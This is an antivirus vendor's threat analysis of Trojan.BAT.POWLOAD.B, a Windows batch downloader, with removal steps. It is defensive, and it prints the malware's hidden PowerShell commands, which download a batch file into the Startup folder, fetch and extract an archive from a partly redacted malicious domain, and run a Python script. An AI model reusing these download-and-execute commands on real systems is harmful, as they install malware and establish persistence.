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Trojan.BAT.POWLOAD.B

February 07, 2024
 Analysis by: John Rainier Navato
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

As of this writing, the said sites are inaccessible.

  TECHNICAL DETAILS

File Size:

4,482 bytes

File Type:

BAT

Memory Resident:

No

Initial Samples Received Date:

18 Jan 2024

Payload:

Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following folders:

  • %Public%\Windown

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

It adds the following processes:

  • {Path to Default Web Browser} https://amazon.com/
  • cmd /c powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://{BLOCKED}loneclonewhomanmale.site/run ', '%User Startup%\WindowsSecure.bat')"
  • powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://{BLOCKED}loneclonewhomanmale.site/36ac.zip ', '%Public%\Windown.zip')"
  • powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('%Public%\Windown.zip', '%Public%\Windown')";
  • powershell.exe -WindowStyle Hidden -Command "%Public%\Windown\python %Public%\Windown\project.py"

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Rootkit Capabilities

This Trojan does not have rootkit capabilities.

Download Routine

This Trojan connects to the following URL(s) to download its component file(s):

  • https://{BLOCKED}loneclonewhomanmale.site/run
  • https://{BLOCKED}loneclonewhomanmale.site/36ac.zip

It saves the files it downloads using the following names:

  • %User Startup%\WindowsSecure.bat
  • %Public%\Windown.zip

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).. %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

  • It extracts the following zip files to %Public%\Windown:
    • %Public%\Windown.zip
  • It opens the following website through a web browser:
    • https://amazon.com/

It does not exploit any vulnerability.

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

19.104.07

FIRST VSAPI PATTERN DATE:

18 Jan 2024

VSAPI OPR PATTERN File:

19.105.00

VSAPI OPR PATTERN Date:

19 Jan 2024

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %User Startup%\WindowsSecure.bat
  • %Public%\Windown.zip

Step 4

Search and delete this folder

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %Public%\Windown

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.POWLOAD.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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